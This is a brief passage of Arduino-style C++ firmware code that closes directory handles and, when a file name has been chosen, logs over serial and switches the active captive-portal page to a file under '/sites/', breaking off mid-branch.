currentIndex++;
file.close();
}
root.close();
if (selectedFile.length() > 0) {
Serial.println("Changing portal to: " + selectedFile);
selectedPortalFile = "/sites/" + selectedFile;
} else {